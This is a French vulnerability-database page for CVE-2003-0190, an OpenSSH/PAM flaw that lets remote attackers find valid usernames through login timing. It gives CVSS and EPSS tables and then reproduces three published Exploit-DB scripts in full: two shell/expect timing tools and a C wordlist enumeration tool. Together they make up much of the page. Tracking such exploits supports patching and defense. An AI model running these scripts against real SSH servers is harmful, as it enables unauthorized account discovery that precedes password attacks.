CVE-2003-0190

EPSS

12.91%V4

Vecteur

Network

Publié

2003-05-01
22h00 +00:00

Modifié

2022-12-12
23h00 +00:00

Liens officiels

CVE.org

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Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

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Spécifiez ici un CVE ID comme CVE-2025-1234

Planifications

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Prochaine exécution calculée

Jour

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Heure

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Descriptions du CVE

OpenSSH-portable (OpenSSH) 3.6.1p1 and earlier with PAM support enabled immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-203	Observable Discrepancy The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V2	5		AV:N/AC:L/Au:N/C:P/I:N/A:N	nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	11%	–	–
2022-04-03	–	–	11%	–	–
2022-05-22	–	–	11%	–	–
2023-03-12	–	–	–	1.7%	–
2023-10-15	–	–	–	1.52%	–
2023-12-03	–	–	–	1.52%	–
2023-12-10	–	–	–	1.52%	–
2024-02-11	–	–	–	1.52%	–
2024-02-18	–	–	–	6.45%	–
2024-03-03	–	–	–	6.45%	–
2024-06-02	–	–	–	6.45%	–
2024-08-25	–	–	–	4.91%	–
2024-12-22	–	–	–	6.86%	–
2025-01-19	–	–	–	6.86%	–
2025-03-18	–	–	–	–	26.25%
2025-03-30	–	–	–	–	13.21%
2025-04-06	–	–	–	–	12.91%
2025-04-15	–	–	–	–	12.91%
2025-04-15	–	–	–	–	12.91,%

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Date	Percentile
2022-02-06	89%
2022-04-03	94%
2022-05-22	95%
2023-03-12	86%
2023-10-15	86%
2023-12-03	85%
2023-12-10	86%
2024-02-11	87%
2024-02-18	93%
2024-03-03	94%
2024-06-02	94%
2024-08-25	93%
2024-12-22	94%
2025-01-19	94%
2025-03-18	96%
2025-03-30	94%
2025-04-06	93%
2025-04-15	94%
2025-04-15	94%

Informations sur l'Exploit

Exploit Database EDB-ID : 26

Date de publication : 2003-05-01 22h00 +00:00
Auteur : Nicolas Couture
EDB Vérifié : Yes

#!/bin/sh # OpenSSH <= 3.6.p1 - User Identification. # Nicolas Couture - nc@stormvault.net # # Description: # -Tells you wether or not a user exist on # a distant server running OpenSSH. # # Usage: # -You NEED to have the host's public key # before executing this script. # #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-# # Fact Sheet: # # o It is really accurate against # # redhat boxes. # # o Linux boxes running grsecurity # # has 10 seconds delay on both # # valid AND invalid user login # # attempts. # # o *BSD boxes are not vulnerables and # # always has 10 seconds delay like # # Linux-Grsec + network protection # # # #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-# #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# # History: # Thu May 1 15:41:18 EDT 2003 # ; Script started. # Thu May 1 16:42:30 EDT 2003 # ; Script is functional. #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# # Let the user know how we work. usage(){ echo "$0 <user> <host>" exit 1 } # Verify the arguments. [ $# != 2 ] && usage # Variables. USER="$1" HOST="$2" #=-=-=-=-=-=-=-=-=-=-=-=-=# # Expect script functions # #=-=-=-=-=-=-=-=-=-=-=-=-=# # Expect script for password. expasswd() { cat << EOF > expasswd spawn $SSHCMD expect password: send '\r' interact EOF } # Expect script for error. experror() { cat << EOF > experror spawn expect -f expasswd expect again. exit 1593 interact EOF } #=-=-=-=-=-=-=-=-=-=# # -Fake user timing # #=-=-=-=-=-=-=-=-=-=# # OpenSSH client command for inexisting user. export SSHCMD="ssh nicolas_couture@$HOST" # Build new expect script. expasswd experror # Timing. FDATE0=`date '+%s'` echo "[-] Calculating fake user timeout..." expect -f experror 1> /dev/null 2> /dev/null FDATE1=`date '+%s'` # Fake user timeout. FUTO=`echo $FDATE1 - $FDATE0 | bc` echo "[+] Found $FUTO." #=-=-=-=-=-=-=-=# # -$USER timing # #=-=-=-=-=-=-=-=# # OpenSSH command. export SSHCMD="ssh $USER@$HOST" # Build new expect scripts. expasswd experror DATE0=`date '+%s'` echo "[-] Calculating $USER timeout on $SERVER..." expect -f experror 1> /dev/null 2> /dev/null DATE1=`date '+%s'` # $USER timeout. END=`echo $DATE1 - $DATE0 | bc` echo "[+] Found $END." #=-=-=-=-=# # -Result # #=-=-=-=-=# if [ "$FUTO" -eq "$END" ] && [ "$FUTO" -eq "10" ]; then echo "This box is not vulnerable." exit 1 fi # Use of our magic skills. if [ "$FUTO" -lt "$END" ]; then echo "$USER exist on $HOST." elif [ "$FUTO" -ge "$END" ]; then echo "$USER doesn't exist on $HOST." else echo "Segmentation fault." exit 13 fi # Remove tmp files. rm -rf expasswd experror # EOF # milw0rm.com [2003-05-02]

Exploit Database EDB-ID : 25

Date de publication : 2003-04-29 22h00 +00:00
Auteur : Maurizio Agazzini
EDB Vérifié : Yes

/* * SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool * Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved * * * Vulnerability discovered by Marco Ivaldi <raptor@mediaservice.net> * Proof of concept code by Maurizio Agazzini <inode@mediaservice.net> * * Tested against Red Hat, Mandrake, and Debian GNU/Linux. * * Reference: http://lab.mediaservice.net/advisory/2003-01-openssh.txt * * $ tar xvfz openssh-3.6.1p1.tar.gz * $ patch -p0 <openssh-3.6.1p1_brute.diff * patching file openssh-3.6.1p1/ssh.c * patching file openssh-3.6.1p1/sshconnect.c * patching file openssh-3.6.1p1/sshconnect1.c * patching file openssh-3.6.1p1/sshconnect2.c * $ cd openssh-3.6.1p1 * $ ./configure * $ make * $ cc ../ssh_brute.c -o ssh_brute * $ ./ssh_brute 1 list.txt 192.168.0.66 */ #include <stdio.h> #include <stdlib.h> #include <sys/wait.h> /* an illegal user */ #define NO_USER "not_val_user" /* path of the patched ssh */ #define PATH_SSH "./ssh" /* max time range for invalid user */ #define TIME_RANGE 3 int main(int argc, char *argv[]) { FILE * in; char buffer[2000], username[100], *host; int time_non_valid = 0, time_user = 0; int version = 1, i = 0, ret; fprintf(stderr, "\n SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool\n"); fprintf(stderr, " Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved\n"); if (argc < 3) { fprintf(stderr, "\n Usage: %s <protocol version> <user file> <host>\n\n", argv[0]); exit(-1); } version = atoi(argv[1]); host = argv[3]; if ( ( in = fopen(argv[2], "r") ) == NULL ) { fprintf(stderr, "\n Can't open %s\n", argv[2]); exit(-1); } /* test an illegal user */ printf("\n Testing an illegal user\t: "); fflush(stdout); sprintf(buffer, "%s -%d %s@%s", PATH_SSH, version, NO_USER, host); for (i = 0; i < 3; i++) { ret = system(buffer); time_non_valid += WEXITSTATUS(ret); } time_non_valid /= 3; printf("%d second(s)\n\n", time_non_valid); time_non_valid += TIME_RANGE; /* test supplied users */ fscanf(in, "%s", username); while ( !feof(in) ) { printf(" Testing login %s\t", username); if (strlen(username) <= 8) printf("\t"); printf(": "); fflush( stdout ); sprintf(buffer, "%s -%d %s@%s", PATH_SSH, version, username, host); ret = system(buffer); time_user = WEXITSTATUS(ret); if (time_user <= time_non_valid) printf("\E[31m\E[1mILLEGAL\E[m\t[%d second(s)]\n", time_user); else { /* valid user? test it again to be sure */ ret = system(buffer); time_user = WEXITSTATUS(ret); if (time_user <= time_non_valid) printf("\E[31m\E[1mILLEGAL\E[m\t[%d second(s)] [2 test]\n", time_user); else printf("\E[32m\E[1mUSER OK\E[m\t[%d second(s)]\n", time_user); } fscanf(in, "%s", username); } fclose(in); printf("\n"); exit(0); } // milw0rm.com [2003-04-30]

Exploit Database EDB-ID : 3303

Date de publication : 2007-02-12 23h00 +00:00
Auteur : Marco Ivaldi
EDB Vérifié : Yes

#!/bin/bash # # $Id: raptor_sshtime,v 1.1 2007/02/13 16:38:57 raptor Exp $ # # raptor_sshtime - [Open]SSH remote timing attack exploit # Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> # # OpenSSH-portable 3.6.1p1 and earlier with PAM support enabled immediately # sends an error message when a user does not exist, which allows remote # attackers to determine valid usernames via a timing attack (CVE-2003-0190). # # OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions, # and possibly under limited configurations, allows remote attackers to # determine valid usernames via timing discrepancies in which responses take # longer for valid usernames than invalid ones, as demonstrated by sshtime. # NOTE: as of 20061014, it appears that this issue is dependent on the use of # manually-set passwords that causes delays when processing /etc/shadow due to # an increased number of rounds (CVE-2006-5229). # # This is a simple shell script based on expect meant to remotely analyze # timing differences in sshd "Permission denied" replies. Depending on OpenSSH # version and configuration, it may lead to disclosure of valid usernames. # # Usage example: # [make sure the target hostkey has been approved before] # ./sshtime 192.168.0.1 dict.txt # # Some vars port=22 # Command line host=$1 dict=$2 # Local functions function head() { echo "" echo "raptor_sshtime - [Open]SSH remote timing attack exploit" echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>" echo "" } function foot() { echo "" exit 0 } function usage() { head echo "[make sure the target hostkey has been approved before]" echo "" echo "usage : ./sshtime <target> <wordlist>" echo "example: ./sshtime 192.168.0.1 dict.txt" foot } function notfound() { head echo "error : expect interpreter not found!" foot } # Check if expect is there expect=`which expect 2>/dev/null` if [ $? -ne 0 ]; then notfound fi # Input control if [ -z "$2" ]; then usage fi # Perform the bruteforce attack head for user in `cat $dict` do echo -ne "$user@$host\t\t" (time -p $expect -c "log_user 0; spawn -noecho ssh -p $port $host -l $user; for {} 1 {} {expect -nocase \"password*\" {send \"dummy\r\"} eof {exit}}") 2>&1 | grep real done foot # milw0rm.com [2007-02-13]